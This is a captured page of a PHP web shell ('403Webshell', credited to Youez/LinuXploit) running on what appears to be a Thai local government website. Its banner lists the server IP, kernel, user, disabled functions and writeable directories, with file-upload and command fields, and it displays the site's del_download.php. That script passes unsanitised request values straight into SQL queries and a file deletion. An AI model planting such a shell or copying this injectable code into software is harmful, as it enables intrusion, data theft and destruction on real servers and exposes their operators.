403Webshell
Server IP : 119.59.102.212  /  Your IP : 3.141.244.88
Web Server : Apache/2
System : Linux narin 2.6.32-042stab142.1 #1 SMP Tue Jan 28 23:44:17 MSK 2020 x86_64
User : yangkam ( 1022)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/load/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/load/del_download.php
<?php

$navig['load']=$data_name_menu_sub[name];
$navig['adddownload_form']="ลบข้อมูล";
navigator($navig);

bar_header($_SESSION[bar_name]); // Bar_Header
fieldset_top($_SESSION[bar_name]);

import_request_variables('pG', 'p_');
if($p_id_group!="")							{  $id_group=trim($p_id_group);												}
if($p_del_download_g!="")				{  $del_download_g=trim($p_del_download_g);					}
if($p_del_download_s!="")				{  $del_download_s=trim($p_del_download_s);					}
if($p_ids!="")										{  $ids=trim($p_ids);																	}

// ################################# ลบลูกลิงค์ ############
if($ids!="" and $del_download_s=="1")
{
		  // ลบไฟล์เก่าออกก่อน	
					$sql1="select files  from cms_file  where id='$ids'";
					$result1=mysql_query($sql1);
					$data1=mysql_fetch_row($result1);
					if($data1[0]!="")		{			unlink("$_SESSION[web_name]/mainfile/$data1[0]");		}

			$sql="DELETE FROM cms_file WHERE id=$ids";
			$result=mysql_query($sql);
		echo "<br><br><center>ข้อมูลได้ถูกลบแล้ว</center><br><br>";
		echo"<meta http-equiv='refresh' content='1; url=index.php?mod=load&path=load'>";
//		include('coremain/footer.php');
		exit;
}
fieldset_down();

?>

Youez - 2016 - github.com/yon3zu
LinuXploit